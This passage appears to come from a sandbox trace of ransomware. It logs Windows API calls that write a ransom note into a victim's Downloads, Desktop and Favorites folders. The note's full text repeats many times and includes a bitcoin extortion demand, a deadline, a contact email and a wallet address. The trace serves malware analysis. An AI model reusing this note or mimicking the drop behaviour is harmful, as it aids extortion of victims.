price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2498 [0145.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x798ef8, cbMultiByte=2498, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", lpUsedDefaultChar=0x0) returned 2498 [0145.251] WriteFile (in: hFile=0x224, lpBuffer=0x798ef8*, nNumberOfBytesToWrite=0x9c2, lpNumberOfBytesWritten=0x18fc8c, lpOverlapped=0x0 | out: lpBuffer=0x798ef8*, lpNumberOfBytesWritten=0x18fc8c*=0x9c2, lpOverlapped=0x0) returned 1 [0145.252] CloseHandle (hObject=0x224) returned 1 [0145.252] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x18f510, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0145.252] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads")) returned 0x11 [0145.252] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x18f510, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1d [0145.252] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\How Do I Recover My Files (Readme).txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\how do i recover my files (readme).txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0145.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2498 [0145.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2498 [0145.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x798ef8, cbMultiByte=2498, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", lpUsedDefaultChar=0x0) returned 2498 [0145.253] WriteFile (in: hFile=0x224, lpBuffer=0x798ef8*, nNumberOfBytesToWrite=0x9c2, lpNumberOfBytesWritten=0x18fc8c, lpOverlapped=0x0 | out: lpBuffer=0x798ef8*, lpNumberOfBytesWritten=0x18fc8c*=0x9c2, lpOverlapped=0x0) returned 1 [0145.254] CloseHandle (hObject=0x224) returned 1 [0145.254] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb1c, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0145.254] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0145.254] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb1c, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0145.254] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\How Do I Recover My Files (Readme).txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\how do i recover my files (readme).txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0145.266] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2498 [0145.266] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2498 [0145.266] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", cchWideChar=2498, lpMultiByteStr=0x798ef8, cbMultiByte=2498, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!)\r\nand low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nWrite this ID in the title of your message: MZRIDF0514FEE72\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files.\r\nbut you need to pay for it and contact us.\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n:::BEWARE:::\r\nDON'T try to change encrypted files by yourself!\r\nIf you will try to use any third party software for restoring your data or antivirus\r\nsolutions - please make a backup for all encrypted files!\r\nAny changes in encrypted files may entail damage of the private key and, as result, the loss all data.\r\n", lpUsedDefaultChar=0x0) returned 2498 [0145.266] WriteFile (in: hFile=0x224, lpBuffer=0x798ef8*, nNumberOfBytesToWrite=0x9c2, lpNumberOfBytesWritten=0x18fc8c, lpOverlapped=0x0 | out: lpBuffer=0x798ef8*, lpNumberOfBytesWritten=0x18fc8c*=0x9c2, lpOverlapped=0x0) returned 1 [0145.270] CloseHandle (hObject=0x224) returned 1 [0145.271] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb1c, csidl=6, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned 1 [0145.272] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites")) returned 0x11 [0145.272] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb1c, csidl=6, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned 1 [0145.272] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\How Do I Recover My Files (Readme).txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\how do i recover my files (readme).txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0145.279] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer\r\naccessible because they have been encrypted. Maybe you are busy looking for a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nIf you want to decrypt your files, you need to send $1000 worth of bitcoin to our address.\r\nDiscount 90% available if you contact us first 24 hours, thats price for you is $100.\r\nDon't forget! If you do not pay within 96 hours (Europe/Istanbul),\r\nyou cannot recover your files forever.\r\n\r\n* What is bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\n* What about guarantees?\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will cooperate with us.\r\nIts not in our interests. To check the ability of returning files,\r\nyou can send to us any 